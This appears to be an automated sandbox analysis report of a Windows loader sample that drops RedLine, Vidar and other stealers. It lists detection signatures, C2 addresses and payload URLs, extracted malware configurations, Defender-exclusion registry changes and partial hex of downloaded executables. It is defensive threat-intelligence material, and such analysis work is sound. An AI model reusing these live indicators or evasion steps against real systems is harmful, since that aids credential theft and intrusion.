Windows Analysis Report
tZvjMg3Hw9.exe

Overview

General Information

Sample name:	tZvjMg3Hw9.exe renamed because original name is a hash value
Original sample name:	fbb5534d3c24553179a13cc7b9c38685.exe
Analysis ID:	1434850
MD5:	fbb5534d3c24553179a13cc7b9c38685
SHA1:	4f14d7dc5d966672abd4700b054307e096b88b48
SHA256:	a1c687574b512e60c254447937836a11aca2ef11a928cf28c5e9e9138f7ce934
Tags:	64exePrivateLoadertrojan
Infos:

Detection

PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected Vidar stealer

Yara detected zgRAT

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates HTML files with .exe extension (expired dropper behavior)

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Exclude list of file types from scheduled, custom, and real-time scanning

Found API chain indicative of sandbox detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Modifies Group Policy settings

Modifies power options to not sleep / hibernate

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has nameless sections

Performs DNS queries to domains with low reputation

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Windows Defender Exclusions Added - Registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Signatures

AV Detection

Antivirus detection for URL or domain

Source: http://193.233.132.167/cost/lenin.exe	URL Reputation: Label: malware
Source: http://193.233.132.139/rumba/buben.exe	Avira URL Cloud: Label: phishing
Source: http://193.233.132.167/cost/go.exe0.1	Avira URL Cloud: Label: phishing
Source: http://193.233.132.167/cost/lenin.exe192.168.06	Avira URL Cloud: Label: phishing
Source: http://147.45.47.102:57893/hera/amadka.exe	Avira URL Cloud: Label: malware
Source: https://monoblocked.com/525403/setup.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357328
Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Avira: detection malicious, Label: TR/Miner.mdqej
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Avira: detection malicious, Label: TR/Miner.mdqej
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1357328
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\060[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1332570
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Avira: detection malicious, Label: HEUR/AGEN.1306558
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Avira: detection malicious, Label: HEUR/AGEN.1306558
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\buben[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306558

Found malware configuration

Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199680449169"], "Botnet": "03cea2609023d13f145ac6c5dc897112", "Version": "9.3"}
Source: 25.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["5.42.65.96:28380"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Retailer_prog[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Space1.9_menu[1].exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\7zS933D.tmp\Install.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: tZvjMg3Hw9.exe

ReversingLabs: Detection: 39%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cad54ba5b01423b1af8ec10ab5719d97[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\123p[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\setup[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\7725eaa6592c80f8124e769b4e8a07f7[1].exe	Joe Sandbox ML: detected

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49772 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.19:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.119:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.118:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.113:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.172.104:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49957 version: TLS 1.2

Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: tZvjMg3Hw9.exe
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000000.2584124257.00000268C10B2000.00000002.00000001.01000000.00000014.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3348354834.00000268C14F0000.00000002.00000001.00040000.00000014.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000435C000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.0000000005690000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3370248970.000000006A564000.00000002.00000001.01000000.00000023.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000003C91000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3397323684.000000000059C000.00000040.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3396296083.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000001.2688844184.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3397729978.0000000000566000.00000040.00000001.01000000.0000000F.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000000.2592125898.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398970212.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Users\kkelsch\Documents\PushNotifications\PushSharp\PushSharp-master\PushSharp.Core\obj\Debug\PushSharp.Core.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.000000000574A000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000428D000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000004418000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\Microsoft Enterprise Library January 2006\src\Data\obj\Debug\Microsoft.Practices.EnterpriseLibrary.Data.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp

Change of critical system settings

Adds extensions / path to Windows Defender exclusion list (Registry)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CF46C6 FindFirstFileExW,

10_2_00CF46C6

Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2049837 ET TROJAN Suspected PrivateLoader Activity (POST) 192.168.2.5:49710 -> 5.42.66.10:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199680449169
Source: Malware configuration extractor	URLs: 5.42.65.96:28380

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.45.47.93 ports 0,5,7,8,58709,9

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: UsAeOiVczGq_p4QRa8zeFder.exe.0.dr
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: yXgtFZ7XB0cQTCLf83XR0xIo.exe.0.dr

Performs DNS queries to domains with low reputation

Source:

DNS query: f.123654987.xyz

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.5:49783 -> 95.217.245.42:9000
Source: global traffic	TCP traffic: 192.168.2.5:49786 -> 5.42.65.96:28380
Source: global traffic	TCP traffic: 192.168.2.5:49796 -> 147.45.47.93:58709
Source: global traffic	TCP traffic: 192.168.2.5:49883 -> 193.233.132.226:50500
Source: global traffic	TCP traffic: 192.168.2.5:49953 -> 193.233.132.253:50500

Downloads executable code via HTTP

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:13 GMTServer: Apache/2.4.52 (Ubuntu)Content-Description: File TransferContent-Disposition: attachment; filename=timeSync.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 295936Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 c3 78 b2 a1 a2 16 e1 a1 a2 16 e1 a1 a2 16 e1 bf f0 83 e1 b0 a2 16 e1 bf f0 95 e1 c4 a2 16 e1 bf f0 92 e1 8b a2 16 e1 86 64 6d e1 a4 a2 16 e1 a1 a2 17 e1 ce a2 16 e1 bf f0 9c e1 a0 a2 16 e1 bf f0 82 e1 a0 a2 16 e1 bf f0 87 e1 a0 a2 16 e1 52 69 63 68 a1 a2 16 e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 8d 26 6a 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 a8 00 00 00 0c 70 02 00 00 00 00 1d 17 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 70 02 00 04 00 00 d9 8c 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc f0 02 00 3c 00 00 00 00 e0 6e 02 20 75 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 73 a7 00 00 00 10 00 00 00 a8 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8a 39 02 00 00 c0 00 00 00 3a 02 00 00 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 d3 6b 02 00 00 03 00 00 28 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 75 01 00 00 e0 6e 02 00 76 01 00 00 0e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 01 May 2024 18:26:13 GMTContent-Type: application/octet-streamContent-Length: 3181568Last-Modified: Wed, 01 May 2024 16:49:15 GMTConnection: keep-aliveETag: "6632728b-308c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 db 02 32 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 8c 15 00 00 0e 04 00 00 00 00 00 5c f6 b4 00 00 10 00 00 00 a0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 b5 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 